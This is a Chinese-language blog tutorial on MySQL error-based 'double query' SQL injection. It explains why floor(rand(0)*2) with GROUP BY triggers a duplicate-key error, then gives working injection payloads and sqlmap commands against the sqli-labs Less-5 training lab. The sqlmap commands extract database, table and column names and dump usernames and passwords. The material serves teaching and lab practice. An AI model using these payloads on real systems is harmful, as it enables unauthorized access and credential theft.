双查询注入-报错原理浅析

报错注入形式上是两个嵌套的查询,即select…(select…),里面的那个select被称为子查询,它的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到几个sql函数:

rand()随机函数,返回0~1之间的某个值。
floor(a)取整函数,向下取整。
count()聚合函数也称作计数函数,返回查询对象的总数。
group by clause分组语句,按照查询结果分组。

通过报错来显示出具体的信息。


查询时候如果使用 rand() 函数,值会计算多次(查询的时候计算一次,插入的时候计算一次)

floor(rand(0)*2)的值是定性的,假随机,为011011,同理还可用floor((14)*2)伪随机数列为1010。事实上上只要数够多,甚至可以不指定随机数种子,一定会触发错误。

floor(rand(0)*2)------011011


举个栗子

select count(*) from table group by floor(rand(0)*2);    

group by 建立了一个虚表/临时表,每一行都有唯一的group_id,以floor(rand(0)2)为group_id,如果不存在则插入,如果存在则count()值加1.我们的数列为011011,解释如下:

  1. 创建好临时表后,Mysql开始逐行扫描table表,遇到的第一个分组列floor(rand(0)*2)为0,便查询临时表中是否有group——id为0的列,发现没有,则新增一行,但是注意此时rand()又计算了一次,所以插入的其实是1:

group_id - - - count(*)

  1   - - -   1

  1. Mysql继续扫描table表,遇到第二个分组列floor(rand(0)*2)为1(第三个数1),发现1在临时表中,则不进行插入,rand()也就不会再次计算,count加1:

group_id - - - count(*)

  1   - - -   2

  1. Mysql继续扫描,遇到第三个分组列floor(rand(0)*2)为0(第四个数0),发现0不在临时表中,则进行插入,此时rand()又计算了一次,floor(rand(0)*2)值为1,实际上插入的group_id是1,插入时id冲突,所以发生报错。

深层次的原因:

通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。


实战演示 sqli-labs/less-5

构造payload爆库:

?id=0’ union select 1,2,3 from(select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

解释: 闭合符号’,回显位3个。

拆解一下payload

concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x

查找版本号,数据库名字,用户名字,并将它们和floor(rand(0)*2)拼接在一起,并命名为临时表x

select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x

运用之前说的count(*),floor(rand(0)*2)报错模式,只不过这里floor(rand(0)*2)前面加了一串字符串。简化一下select a,b from table group by b。

其中a为count(*),b为concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2)),table为information_schema.tables 。

select 1,2,3 from (select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a

select 1,2,3 from后面跟的也是一个临时表,所以需要起个名字a,否则会发生如下报错,每个派生都需要有自己的别名

Every derived table must have its own alias

爆表

?id=0’ union select 1,2,3 from(select count(*),concat((select concat(group_concat(table_name)) from information_schema.tables where table_schema=database() limit 0,1),’:’,floor(rand(0)*2))x from information_schema.tables group by x)a --+

爆列/字段名

?id=0’ union select 1,2,3 from(select count(*),concat((select concat(group_concat(column_name)) from information_schema.columns where table_name=‘users’ limit 0,1),’:’,floor(rand(0)*2))x from information_schema.tables group by x)a --+


Sqlmap测试

发现:

sqlmap -u “http://192.168.139.131/sqli/Less-5/?id=0”

发现有3个方式可以注入,基于时间:T,基于错误:E,基于bool:B。那就直接:

爆库

sqlmap -u “http://192.168.139.131/sqli/Less-5/?id=0” --technique TEB --current-db --batch

其中,–current-db发现当前数据所在数据库,(–dbs是发现所有数据库),–batch自动选择Y。可以得到数据库security。

爆表

sqlmap -u “http://192.168.139.131/sqli/Less-5/?id=0” --technique TEB --D security --tables --batch

爆列

sqlmap -u “http://192.168.139.131/sqli/Less-5/?id=0” --technique TEB --D security -T users --columns --batch

爆数据

sqlmap -u “http://192.168.139.131/sqli/Less-5/?id=0” --technique TEB --D security -T users -C ‘username,password’ --dump --batch

结束撒花~

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值